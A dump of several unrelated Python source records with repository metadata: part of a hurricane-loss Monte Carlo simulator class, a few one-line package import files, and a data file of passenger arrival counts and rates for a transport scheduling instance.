self._simulate_core = SIMULATORS[simulator_id]['func']
self._desc = SIMULATORS[simulator_id]['desc']
logger.info(f"Using simulator: {self._desc}")
except KeyError:
raise NotImplementedError(f"simulator_id={simulator_id} is not implemented")
def __str__(self):
"""Description of the simulator engine used."""
return f"{self._desc:16s}"
def simulate(self, florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev,
num_monte_carlo_samples, **kwargs):
"""
Simulate losses due to hurricanes making landfall in Florida and in Gulf States.
The simulation assumes a Poisson distribution for the rate of landfalling hurricanes,
and a LogNormal distribution for the economic loss.
The `mean` provided in input for the economic loss is the mean of the normal distribution
underlying the LogNormal, namely: the expected value E[x] = mean (not exp^mean).
This makes it easier to interpret the results.
:param florida_landfall_rate: [float] annual rate of landfalling hurricanes in Florida.
:param florida_mean: [float] mean of the economic loss of landfalling hurricane in Florida.
:param florida_stddev: [float] std deviation of the economic loss of landfalling hurricane in Florida.
:param gulf_landfall_rate: [float] annual rate of landfalling hurricanes in Gulf states.
:param gulf_mean: [float] mean of the economic loss of landfalling hurricane in Gulf states.
:param gulf_stddev: [float] std deviation of the economic loss of landfalling hurricane in Gulf states.
:param num_monte_carlo_samples: [int] number of monte carlo samples, i.e. years.
:param rng_seed: [int] (optional) Seed of the random number generator.
:return: [float] Mean annual losses.
"""
rng_seed = kwargs.get('rng_seed', None)
# set the random number generator seed
logger.info(f"Setting the random number generator with seed:{rng_seed}")
np.random.seed(rng_seed)
logger.info(
f"Starting main loop over desired {num_monte_carlo_samples} Monte Carlo samples ")
t0 = time.time()
mean_loss = self._simulate_core(florida_landfall_rate, florida_mean, florida_stddev,
gulf_landfall_rate, gulf_mean, gulf_stddev,
num_monte_carlo_samples)
t1 = time.time()
logger.info(
f"End of main loop. Elapsed time: {datetime.timedelta(seconds=t1 - t0)} (h:m:s)")
logger.info(f"MEAN LOSS: {mean_loss}")
return mean_loss
| 41.347181 | 111 | 0.70511 | 1,925 | 13,934 | 4.878442 | 0.093506 | 0.046853 | 0.079651 | 0.076669 | 0.818443 | 0.80854 | 0.797785 | 0.797785 | 0.797785 | 0.7931 | 0 | 0.005749 | 0.213507 | 13,934 | 336 | 112 | 41.470238 | 0.851173 | 0.437563 | 0 | 0.525641 | 0 | 0.00641 | 0.082825 | 0.013962 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064103 | false | 0 | 0.044872 | 0 | 0.173077 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
e3175a1f647fdb5372d391615ba6963948678027 | 26 | py | Python | docker_contexts/stac-api-docker/stac_api/stac/__init__.py | therealspring/global-modeling-engine | 70e4240cf1734c04867aef5ef25d5db4a21616ab | [
"Apache-2.0"
] | 2 | 2020-08-08T02:24:48.000Z | 2021-03-31T19:12:08.000Z | library-platform/docker_contexts/stac-api-docker/stac_api/stac/__init__.py | therealspring/ecoshard-library | 15d811017b1f6ad109ea47b2b3fe7f31bd1bc9e0 | [
"Apache-2.0"
] | null | null | null | library-platform/docker_contexts/stac-api-docker/stac_api/stac/__init__.py | therealspring/ecoshard-library | 15d811017b1f6ad109ea47b2b3fe7f31bd1bc9e0 | [
"Apache-2.0"
] | null | null | null | from .stac import stac_bp
| 13 | 25 | 0.807692 | 5 | 26 | 4 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e3435ebb74c7c2e89a3ca3a02bf6f4b011de9178 | 40 | py | Python | src/einsteinpy/integrators/__init__.py | bibek22/einsteinpy | 78bf5d942cbb12393852f8e4d7a8426f1ffe6f23 | [
"MIT"
] | 2 | 2019-04-07T04:01:57.000Z | 2019-07-11T11:59:55.000Z | src/einsteinpy/integrators/__init__.py | bibek22/einsteinpy | 78bf5d942cbb12393852f8e4d7a8426f1ffe6f23 | [
"MIT"
] | 2 | 2019-04-08T17:39:50.000Z | 2019-04-11T03:10:09.000Z | src/einsteinpy/integrators/__init__.py | bibek22/einsteinpy | 78bf5d942cbb12393852f8e4d7a8426f1ffe6f23 | [
"MIT"
] | 1 | 2022-03-19T18:46:13.000Z | 2022-03-19T18:46:13.000Z | from .runge_kutta import RK45, RK4naive
| 20 | 39 | 0.825 | 6 | 40 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 0.125 | 40 | 1 | 40 | 40 | 0.828571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e34dbc48f7df2780b19f182d3134a9c587f60409 | 222 | py | Python | src/VarDACAE/ML_utils/__init__.py | scheng1992/Data_Assimilation | b4d43895229205ee2cd16b15ee20beccb33b71d6 | [
"MIT"
] | 1 | 2021-11-25T12:46:48.000Z | 2021-11-25T12:46:48.000Z | src/VarDACAE/ML_utils/__init__.py | bugsuse/Data_Assimilation | 2965ccf78951df11f8686282cd6814bae18afde5 | [
"MIT"
] | null | null | null | src/VarDACAE/ML_utils/__init__.py | bugsuse/Data_Assimilation | 2965ccf78951df11f8686282cd6814bae18afde5 | [
"MIT"
] | 2 | 2021-03-02T13:29:34.000Z | 2022-03-12T11:01:08.000Z | from VarDACAE.ML_utils.helpers import set_seeds, load_AE, get_device
from VarDACAE.ML_utils.helpers import load_model_from_settings, load_model_and_settings_from_dir
from VarDACAE.ML_utils.convolution import ConvScheduler
| 55.5 | 96 | 0.891892 | 35 | 222 | 5.257143 | 0.514286 | 0.195652 | 0.228261 | 0.309783 | 0.347826 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067568 | 222 | 3 | 97 | 74 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e361ee0d1ee62797557047ca5964dc8ef6a323ea | 38,026 | py | Python | instances/passenger_demand/pas-20210421-2109-int18e/6.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int18e/6.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int18e/6.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null |
"""
PASSENGERS
"""
numPassengers = 4193
passenger_arriving = (
(3, 6, 8, 5, 1, 0, 7, 11, 3, 2, 2, 0), # 0
(3, 12, 6, 2, 0, 0, 13, 7, 6, 9, 0, 0), # 1
(5, 8, 6, 5, 3, 0, 8, 10, 4, 3, 1, 0), # 2
(9, 14, 12, 4, 3, 0, 6, 9, 5, 6, 2, 0), # 3
(7, 13, 4, 6, 4, 0, 9, 11, 5, 3, 2, 0), # 4
(7, 6, 9, 5, 1, 0, 6, 11, 7, 3, 3, 0), # 5
(4, 13, 11, 6, 3, 0, 6, 10, 9, 10, 2, 0), # 6
(8, 6, 9, 4, 0, 0, 3, 9, 7, 1, 3, 0), # 7
(10, 9, 9, 5, 2, 0, 10, 11, 5, 8, 3, 0), # 8
(6, 16, 6, 6, 4, 0, 11, 7, 5, 6, 3, 0), # 9
(5, 9, 9, 3, 3, 0, 13, 6, 3, 7, 5, 0), # 10
(7, 10, 17, 3, 2, 0, 13, 15, 4, 8, 6, 0), # 11
(2, 15, 11, 3, 1, 0, 7, 13, 5, 2, 3, 0), # 12
(10, 14, 3, 6, 5, 0, 10, 11, 10, 8, 1, 0), # 13
(10, 14, 6, 1, 5, 0, 14, 12, 9, 3, 4, 0), # 14
(10, 13, 13, 3, 0, 0, 12, 15, 10, 7, 7, 0), # 15
(7, 8, 10, 2, 3, 0, 8, 9, 5, 3, 1, 0), # 16
(7, 16, 5, 6, 2, 0, 12, 12, 8, 3, 3, 0), # 17
(8, 14, 7, 2, 3, 0, 10, 10, 5, 6, 3, 0), # 18
(6, 10, 12, 5, 1, 0, 5, 14, 5, 12, 5, 0), # 19
(5, 11, 16, 8, 2, 0, 13, 10, 8, 7, 1, 0), # 20
(2, 13, 7, 6, 4, 0, 11, 7, 8, 6, 5, 0), # 21
(9, 6, 13, 3, 1, 0, 10, 10, 6, 8, 1, 0), # 22
(7, 8, 4, 3, 3, 0, 8, 14, 10, 7, 8, 0), # 23
(6, 12, 8, 8, 3, 0, 7, 15, 7, 2, 4, 0), # 24
(4, 11, 13, 5, 3, 0, 10, 14, 13, 7, 6, 0), # 25
(6, 17, 8, 7, 0, 0, 8, 15, 11, 11, 7, 0), # 26
(8, 9, 9, 7, 3, 0, 7, 19, 9, 4, 1, 0), # 27
(4, 8, 11, 8, 5, 0, 8, 16, 10, 10, 2, 0), # 28
(2, 10, 12, 8, 1, 0, 7, 11, 7, 5, 5, 0), # 29
(7, 13, 11, 5, 2, 0, 7, 14, 6, 5, 3, 0), # 30
(5, 19, 12, 7, 2, 0, 8, 9, 3, 4, 9, 0), # 31
(7, 9, 11, 3, 3, 0, 11, 13, 5, 5, 1, 0), # 32
(12, 8, 8, 9, 6, 0, 4, 18, 6, 6, 1, 0), # 33
(5, 11, 11, 4, 6, 0, 11, 17, 7, 4, 2, 0), # 34
(8, 11, 10, 6, 6, 0, 7, 7, 6, 11, 2, 0), # 35
(4, 10, 8, 3, 1, 0, 4, 7, 3, 3, 0, 0), # 36
(8, 12, 10, 1, 6, 0, 11, 9, 10, 7, 2, 0), # 37
(3, 12, 17, 7, 3, 0, 6, 18, 9, 7, 3, 0), # 38
(5, 13, 11, 2, 4, 0, 7, 18, 7, 6, 5, 0), # 39
(8, 12, 12, 6, 2, 0, 9, 15, 12, 5, 3, 0), # 40
(3, 13, 11, 0, 4, 0, 12, 15, 11, 8, 3, 0), # 41
(4, 13, 6, 6, 6, 0, 7, 10, 7, 5, 2, 0), # 42
(6, 7, 8, 5, 5, 0, 7, 10, 7, 8, 3, 0), # 43
(11, 11, 13, 5, 1, 0, 10, 8, 8, 8, 5, 0), # 44
(7, 7, 8, 9, 5, 0, 10, 16, 5, 6, 2, 0), # 45
(2, 11, 8, 4, 3, 0, 9, 14, 11, 6, 2, 0), # 46
(7, 12, 6, 5, 3, 0, 6, 10, 7, 6, 1, 0), # 47
(6, 6, 10, 5, 1, 0, 5, 15, 9, 6, 4, 0), # 48
(7, 8, 10, 7, 1, 0, 6, 14, 12, 6, 6, 0), # 49
(9, 12, 8, 8, 3, 0, 6, 10, 6, 6, 1, 0), # 50
(7, 8, 7, 6, 4, 0, 6, 6, 10, 3, 3, 0), # 51
(8, 16, 15, 4, 4, 0, 8, 16, 10, 5, 3, 0), # 52
(3, 12, 6, 4, 2, 0, 8, 12, 9, 5, 4, 0), # 53
(9, 13, 5, 6, 0, 0, 7, 14, 9, 5, 1, 0), # 54
(1, 9, 6, 3, 2, 0, 18, 16, 5, 1, 3, 0), # 55
(5, 13, 11, 5, 5, 0, 13, 8, 6, 6, 2, 0), # 56
(5, 9, 10, 1, 3, 0, 8, 10, 10, 7, 4, 0), # 57
(4, 9, 5, 6, 2, 0, 10, 8, 5, 10, 9, 0), # 58
(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 59
)
station_arriving_intensity = (
(4.769372805092186, 12.233629261363635, 14.389624839331619, 11.405298913043477, 12.857451923076923, 8.562228260869567), # 0
(4.81413961808604, 12.369674877683082, 14.46734796754499, 11.46881589673913, 12.953819711538461, 8.559309850543478), # 1
(4.8583952589991215, 12.503702525252525, 14.54322622107969, 11.530934782608696, 13.048153846153847, 8.556302173913043), # 2
(4.902102161984196, 12.635567578125, 14.617204169344474, 11.591602581521737, 13.14036778846154, 8.553205638586958), # 3
(4.94522276119403, 12.765125410353535, 14.689226381748071, 11.650766304347826, 13.230375, 8.550020652173911), # 4
(4.987719490781387, 12.892231395991162, 14.759237427699228, 11.708372961956522, 13.318088942307691, 8.546747622282608), # 5
(5.029554784899035, 13.01674090909091, 14.827181876606687, 11.764369565217393, 13.403423076923078, 8.54338695652174), # 6
(5.0706910776997365, 13.138509323705808, 14.893004297879177, 11.818703125, 13.486290865384618, 8.5399390625), # 7
(5.1110908033362605, 13.257392013888888, 14.956649260925452, 11.871320652173912, 13.56660576923077, 8.536404347826087), # 8
(5.1507163959613695, 13.373244353693181, 15.018061335154243, 11.922169157608696, 13.644281249999999, 8.532783220108696), # 9
(5.1895302897278315, 13.485921717171717, 15.077185089974291, 11.971195652173915, 13.719230769230771, 8.529076086956522), # 10
(5.227494918788412, 13.595279478377526, 15.133965094794343, 12.018347146739131, 13.791367788461539, 8.525283355978262), # 11
(5.2645727172958745, 13.701173011363636, 15.188345919023137, 12.063570652173912, 13.860605769230768, 8.521405434782608), # 12
(5.3007261194029835, 13.803457690183082, 15.240272132069407, 12.106813179347826, 13.926858173076925, 8.51744273097826), # 13
(5.335917559262511, 13.90198888888889, 15.289688303341899, 12.148021739130433, 13.99003846153846, 8.513395652173912), # 14
(5.370109471027217, 13.996621981534089, 15.336539002249355, 12.187143342391304, 14.050060096153846, 8.509264605978261), # 15
(5.403264288849868, 14.087212342171718, 15.380768798200515, 12.224124999999999, 14.10683653846154, 8.50505), # 16
(5.4353444468832315, 14.173615344854797, 15.422322260604112, 12.258913722826087, 14.16028125, 8.500752241847827), # 17
(5.46631237928007, 14.255686363636363, 15.461143958868895, 12.291456521739132, 14.210307692307696, 8.496371739130435), # 18
(5.496130520193152, 14.333280772569443, 15.4971784624036, 12.321700407608695, 14.256829326923079, 8.491908899456522), # 19
(5.524761303775241, 14.40625394570707, 15.530370340616965, 12.349592391304348, 14.299759615384616, 8.487364130434782), # 20
(5.552167164179106, 14.47446125710227, 15.56066416291774, 12.375079483695652, 14.339012019230768, 8.482737839673913), # 21
(5.578310535557506, 14.537758080808082, 15.588004498714653, 12.398108695652175, 14.374499999999998, 8.47803043478261), # 22
(5.603153852063214, 14.595999790877526, 15.612335917416454, 12.418627038043478, 14.40613701923077, 8.473242323369567), # 23
(5.62665954784899, 14.649041761363636, 15.633602988431875, 12.43658152173913, 14.433836538461538, 8.468373913043479), # 24
(5.648790057067603, 14.696739366319445, 15.651750281169667, 12.451919157608696, 14.457512019230768, 8.463425611413044), # 25
(5.669507813871817, 14.738947979797977, 15.66672236503856, 12.464586956521739, 14.477076923076922, 8.458397826086957), # 26
(5.688775252414398, 14.77552297585227, 15.6784638094473, 12.474531929347828, 14.492444711538463, 8.453290964673915), # 27
(5.7065548068481124, 14.806319728535353, 15.68691918380463, 12.481701086956523, 14.503528846153845, 8.448105434782608), # 28
(5.722808911325724, 14.831193611900254, 15.69203305751928, 12.486041440217392, 14.510242788461538, 8.44284164402174), # 29
(5.7375, 14.85, 15.69375, 12.4875, 14.512500000000001, 8.4375), # 30
(5.751246651214834, 14.865621839488634, 15.692462907608693, 12.487236580882353, 14.511678590425532, 8.430077267616193), # 31
(5.7646965153452685, 14.881037215909092, 15.68863804347826, 12.486451470588234, 14.509231914893617, 8.418644565217393), # 32
(5.777855634590792, 14.896244211647728, 15.682330027173915, 12.485152389705883, 14.50518630319149, 8.403313830584706), # 33
(5.790730051150895, 14.91124090909091, 15.67359347826087, 12.483347058823531, 14.499568085106382, 8.38419700149925), # 34
(5.803325807225064, 14.926025390624996, 15.662483016304348, 12.481043198529411, 14.492403590425532, 8.361406015742128), # 35
(5.815648945012788, 14.940595738636366, 15.649053260869564, 12.478248529411767, 14.48371914893617, 8.335052811094453), # 36
(5.8277055067135555, 14.954950035511365, 15.63335883152174, 12.474970772058823, 14.47354109042553, 8.305249325337332), # 37
(5.839501534526853, 14.969086363636364, 15.615454347826088, 12.471217647058824, 14.461895744680852, 8.272107496251873), # 38
(5.851043070652174, 14.983002805397728, 15.595394429347825, 12.466996875000001, 14.44880944148936, 8.23573926161919), # 39
(5.862336157289003, 14.99669744318182, 15.573233695652176, 12.462316176470589, 14.434308510638296, 8.196256559220389), # 40
(5.873386836636828, 15.010168359374997, 15.549026766304348, 12.457183272058824, 14.418419281914893, 8.153771326836583), # 41
(5.88420115089514, 15.023413636363639, 15.522828260869566, 12.451605882352942, 14.401168085106384, 8.108395502248875), # 42
(5.894785142263428, 15.03643135653409, 15.494692798913043, 12.445591727941178, 14.38258125, 8.060241023238381), # 43
(5.905144852941176, 15.049219602272727, 15.464675, 12.439148529411764, 14.36268510638298, 8.009419827586207), # 44
(5.915286325127877, 15.061776455965909, 15.432829483695656, 12.43228400735294, 14.341505984042554, 7.956043853073464), # 45
(5.925215601023019, 15.074100000000003, 15.39921086956522, 12.425005882352941, 14.319070212765958, 7.90022503748126), # 46
(5.934938722826087, 15.086188316761364, 15.363873777173913, 12.417321874999999, 14.295404122340427, 7.842075318590705), # 47
(5.944461732736574, 15.098039488636365, 15.326872826086957, 12.409239705882353, 14.27053404255319, 7.7817066341829095), # 48
(5.953790672953963, 15.10965159801136, 15.288262635869566, 12.400767095588236, 14.24448630319149, 7.71923092203898), # 49
(5.96293158567775, 15.121022727272724, 15.248097826086958, 12.391911764705883, 14.217287234042553, 7.65476011994003), # 50
(5.971890513107417, 15.132150958806818, 15.206433016304347, 12.38268143382353, 14.188963164893616, 7.588406165667167), # 51
(5.980673497442456, 15.143034375, 15.163322826086954, 12.373083823529411, 14.159540425531915, 7.5202809970015), # 52
(5.989286580882353, 15.153671058238638, 15.118821875, 12.363126654411765, 14.129045345744682, 7.450496551724138), # 53
(5.9977358056266, 15.164059090909088, 15.072984782608694, 12.352817647058824, 14.09750425531915, 7.379164767616192), # 54
(6.00602721387468, 15.174196555397728, 15.02586616847826, 12.342164522058825, 14.064943484042553, 7.306397582458771), # 55
(6.014166847826087, 15.184081534090907, 14.977520652173913, 12.331175, 14.031389361702129, 7.232306934032984), # 56
(6.022160749680308, 15.193712109375003, 14.92800285326087, 12.319856801470587, 13.996868218085105, 7.15700476011994), # 57
(6.030014961636829, 15.203086363636363, 14.877367391304347, 12.308217647058825, 13.961406382978723, 7.0806029985007495), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_arriving_acc = (
(3, 6, 8, 5, 1, 0, 7, 11, 3, 2, 2, 0), # 0
(6, 18, 14, 7, 1, 0, 20, 18, 9, 11, 2, 0), # 1
(11, 26, 20, 12, 4, 0, 28, 28, 13, 14, 3, 0), # 2
(20, 40, 32, 16, 7, 0, 34, 37, 18, 20, 5, 0), # 3
(27, 53, 36, 22, 11, 0, 43, 48, 23, 23, 7, 0), # 4
(34, 59, 45, 27, 12, 0, 49, 59, 30, 26, 10, 0), # 5
(38, 72, 56, 33, 15, 0, 55, 69, 39, 36, 12, 0), # 6
(46, 78, 65, 37, 15, 0, 58, 78, 46, 37, 15, 0), # 7
(56, 87, 74, 42, 17, 0, 68, 89, 51, 45, 18, 0), # 8
(62, 103, 80, 48, 21, 0, 79, 96, 56, 51, 21, 0), # 9
(67, 112, 89, 51, 24, 0, 92, 102, 59, 58, 26, 0), # 10
(74, 122, 106, 54, 26, 0, 105, 117, 63, 66, 32, 0), # 11
(76, 137, 117, 57, 27, 0, 112, 130, 68, 68, 35, 0), # 12
(86, 151, 120, 63, 32, 0, 122, 141, 78, 76, 36, 0), # 13
(96, 165, 126, 64, 37, 0, 136, 153, 87, 79, 40, 0), # 14
(106, 178, 139, 67, 37, 0, 148, 168, 97, 86, 47, 0), # 15
(113, 186, 149, 69, 40, 0, 156, 177, 102, 89, 48, 0), # 16
(120, 202, 154, 75, 42, 0, 168, 189, 110, 92, 51, 0), # 17
(128, 216, 161, 77, 45, 0, 178, 199, 115, 98, 54, 0), # 18
(134, 226, 173, 82, 46, 0, 183, 213, 120, 110, 59, 0), # 19
(139, 237, 189, 90, 48, 0, 196, 223, 128, 117, 60, 0), # 20
(141, 250, 196, 96, 52, 0, 207, 230, 136, 123, 65, 0), # 21
(150, 256, 209, 99, 53, 0, 217, 240, 142, 131, 66, 0), # 22
(157, 264, 213, 102, 56, 0, 225, 254, 152, 138, 74, 0), # 23
(163, 276, 221, 110, 59, 0, 232, 269, 159, 140, 78, 0), # 24
(167, 287, 234, 115, 62, 0, 242, 283, 172, 147, 84, 0), # 25
(173, 304, 242, 122, 62, 0, 250, 298, 183, 158, 91, 0), # 26
(181, 313, 251, 129, 65, 0, 257, 317, 192, 162, 92, 0), # 27
(185, 321, 262, 137, 70, 0, 265, 333, 202, 172, 94, 0), # 28
(187, 331, 274, 145, 71, 0, 272, 344, 209, 177, 99, 0), # 29
(194, 344, 285, 150, 73, 0, 279, 358, 215, 182, 102, 0), # 30
(199, 363, 297, 157, 75, 0, 287, 367, 218, 186, 111, 0), # 31
(206, 372, 308, 160, 78, 0, 298, 380, 223, 191, 112, 0), # 32
(218, 380, 316, 169, 84, 0, 302, 398, 229, 197, 113, 0), # 33
(223, 391, 327, 173, 90, 0, 313, 415, 236, 201, 115, 0), # 34
(231, 402, 337, 179, 96, 0, 320, 422, 242, 212, 117, 0), # 35
(235, 412, 345, 182, 97, 0, 324, 429, 245, 215, 117, 0), # 36
(243, 424, 355, 183, 103, 0, 335, 438, 255, 222, 119, 0), # 37
(246, 436, 372, 190, 106, 0, 341, 456, 264, 229, 122, 0), # 38
(251, 449, 383, 192, 110, 0, 348, 474, 271, 235, 127, 0), # 39
(259, 461, 395, 198, 112, 0, 357, 489, 283, 240, 130, 0), # 40
(262, 474, 406, 198, 116, 0, 369, 504, 294, 248, 133, 0), # 41
(266, 487, 412, 204, 122, 0, 376, 514, 301, 253, 135, 0), # 42
(272, 494, 420, 209, 127, 0, 383, 524, 308, 261, 138, 0), # 43
(283, 505, 433, 214, 128, 0, 393, 532, 316, 269, 143, 0), # 44
(290, 512, 441, 223, 133, 0, 403, 548, 321, 275, 145, 0), # 45
(292, 523, 449, 227, 136, 0, 412, 562, 332, 281, 147, 0), # 46
(299, 535, 455, 232, 139, 0, 418, 572, 339, 287, 148, 0), # 47
(305, 541, 465, 237, 140, 0, 423, 587, 348, 293, 152, 0), # 48
(312, 549, 475, 244, 141, 0, 429, 601, 360, 299, 158, 0), # 49
(321, 561, 483, 252, 144, 0, 435, 611, 366, 305, 159, 0), # 50
(328, 569, 490, 258, 148, 0, 441, 617, 376, 308, 162, 0), # 51
(336, 585, 505, 262, 152, 0, 449, 633, 386, 313, 165, 0), # 52
(339, 597, 511, 266, 154, 0, 457, 645, 395, 318, 169, 0), # 53
(348, 610, 516, 272, 154, 0, 464, 659, 404, 323, 170, 0), # 54
(349, 619, 522, 275, 156, 0, 482, 675, 409, 324, 173, 0), # 55
(354, 632, 533, 280, 161, 0, 495, 683, 415, 330, 175, 0), # 56
(359, 641, 543, 281, 164, 0, 503, 693, 425, 337, 179, 0), # 57
(363, 650, 548, 287, 166, 0, 513, 701, 430, 347, 188, 0), # 58
(363, 650, 548, 287, 166, 0, 513, 701, 430, 347, 188, 0), # 59
)
passenger_arriving_rate = (
(4.769372805092186, 9.786903409090908, 8.63377490359897, 4.56211956521739, 2.5714903846153843, 0.0, 8.562228260869567, 10.285961538461537, 6.843179347826086, 5.755849935732647, 2.446725852272727, 0.0), # 0
(4.81413961808604, 9.895739902146465, 8.680408780526994, 4.587526358695651, 2.5907639423076922, 0.0, 8.559309850543478, 10.363055769230769, 6.881289538043478, 5.786939187017995, 2.4739349755366162, 0.0), # 1
(4.8583952589991215, 10.00296202020202, 8.725935732647814, 4.612373913043478, 2.609630769230769, 0.0, 8.556302173913043, 10.438523076923076, 6.918560869565217, 5.817290488431875, 2.500740505050505, 0.0), # 2
(4.902102161984196, 10.1084540625, 8.770322501606683, 4.636641032608694, 2.628073557692308, 0.0, 8.553205638586958, 10.512294230769232, 6.954961548913042, 5.846881667737789, 2.527113515625, 0.0), # 3
(4.94522276119403, 10.212100328282828, 8.813535829048842, 4.66030652173913, 2.6460749999999997, 0.0, 8.550020652173911, 10.584299999999999, 6.990459782608696, 5.875690552699228, 2.553025082070707, 0.0), # 4
(4.987719490781387, 10.313785116792928, 8.855542456619537, 4.6833491847826085, 2.663617788461538, 0.0, 8.546747622282608, 10.654471153846153, 7.025023777173913, 5.90369497107969, 2.578446279198232, 0.0), # 5
(5.029554784899035, 10.413392727272727, 8.896309125964011, 4.705747826086957, 2.680684615384615, 0.0, 8.54338695652174, 10.72273846153846, 7.058621739130436, 5.930872750642674, 2.603348181818182, 0.0), # 6
(5.0706910776997365, 10.510807458964646, 8.935802578727506, 4.72748125, 2.697258173076923, 0.0, 8.5399390625, 10.789032692307693, 7.0912218750000005, 5.95720171915167, 2.6277018647411614, 0.0), # 7
(5.1110908033362605, 10.60591361111111, 8.97398955655527, 4.7485282608695645, 2.7133211538461537, 0.0, 8.536404347826087, 10.853284615384615, 7.122792391304347, 5.982659704370181, 2.6514784027777774, 0.0), # 8
(5.1507163959613695, 10.698595482954543, 9.010836801092546, 4.768867663043478, 2.7288562499999993, 0.0, 8.532783220108696, 10.915424999999997, 7.153301494565217, 6.007224534061697, 2.6746488707386358, 0.0), # 9
(5.1895302897278315, 10.788737373737373, 9.046311053984574, 4.7884782608695655, 2.743846153846154, 0.0, 8.529076086956522, 10.975384615384616, 7.182717391304348, 6.030874035989716, 2.697184343434343, 0.0), # 10
(5.227494918788412, 10.87622358270202, 9.080379056876605, 4.807338858695652, 2.7582735576923074, 0.0, 8.525283355978262, 11.03309423076923, 7.2110082880434785, 6.053586037917737, 2.719055895675505, 0.0), # 11
(5.2645727172958745, 10.960938409090907, 9.113007551413881, 4.825428260869565, 2.7721211538461534, 0.0, 8.521405434782608, 11.088484615384614, 7.238142391304347, 6.0753383676092545, 2.740234602272727, 0.0), # 12
(5.3007261194029835, 11.042766152146465, 9.144163279241644, 4.8427252717391305, 2.7853716346153847, 0.0, 8.51744273097826, 11.141486538461539, 7.264087907608696, 6.096108852827762, 2.760691538036616, 0.0), # 13
(5.335917559262511, 11.121591111111112, 9.173812982005138, 4.859208695652173, 2.7980076923076918, 0.0, 8.513395652173912, 11.192030769230767, 7.288813043478259, 6.115875321336759, 2.780397777777778, 0.0), # 14
(5.370109471027217, 11.19729758522727, 9.201923401349612, 4.874857336956521, 2.810012019230769, 0.0, 8.509264605978261, 11.240048076923076, 7.312286005434782, 6.134615600899742, 2.7993243963068175, 0.0), # 15
(5.403264288849868, 11.269769873737372, 9.228461278920308, 4.88965, 2.8213673076923076, 0.0, 8.50505, 11.28546923076923, 7.334474999999999, 6.152307519280206, 2.817442468434343, 0.0), # 16
(5.4353444468832315, 11.338892275883836, 9.253393356362468, 4.903565489130434, 2.83205625, 0.0, 8.500752241847827, 11.328225, 7.3553482336956515, 6.168928904241644, 2.834723068970959, 0.0), # 17
(5.46631237928007, 11.40454909090909, 9.276686375321336, 4.916582608695652, 2.842061538461539, 0.0, 8.496371739130435, 11.368246153846156, 7.374873913043479, 6.184457583547558, 2.8511372727272724, 0.0), # 18
(5.496130520193152, 11.466624618055553, 9.298307077442159, 4.928680163043477, 2.8513658653846155, 0.0, 8.491908899456522, 11.405463461538462, 7.393020244565217, 6.198871384961439, 2.866656154513888, 0.0), # 19
(5.524761303775241, 11.525003156565655, 9.318222204370178, 4.939836956521739, 2.859951923076923, 0.0, 8.487364130434782, 11.439807692307692, 7.409755434782609, 6.212148136246785, 2.8812507891414136, 0.0), # 20
(5.552167164179106, 11.579569005681815, 9.336398497750643, 4.95003179347826, 2.8678024038461536, 0.0, 8.482737839673913, 11.471209615384614, 7.425047690217391, 6.224265665167096, 2.894892251420454, 0.0), # 21
(5.578310535557506, 11.630206464646465, 9.352802699228791, 4.95924347826087, 2.8748999999999993, 0.0, 8.47803043478261, 11.499599999999997, 7.438865217391305, 6.235201799485861, 2.907551616161616, 0.0), # 22
(5.603153852063214, 11.67679983270202, 9.367401550449872, 4.967450815217391, 2.8812274038461534, 0.0, 8.473242323369567, 11.524909615384614, 7.451176222826087, 6.244934366966581, 2.919199958175505, 0.0), # 23
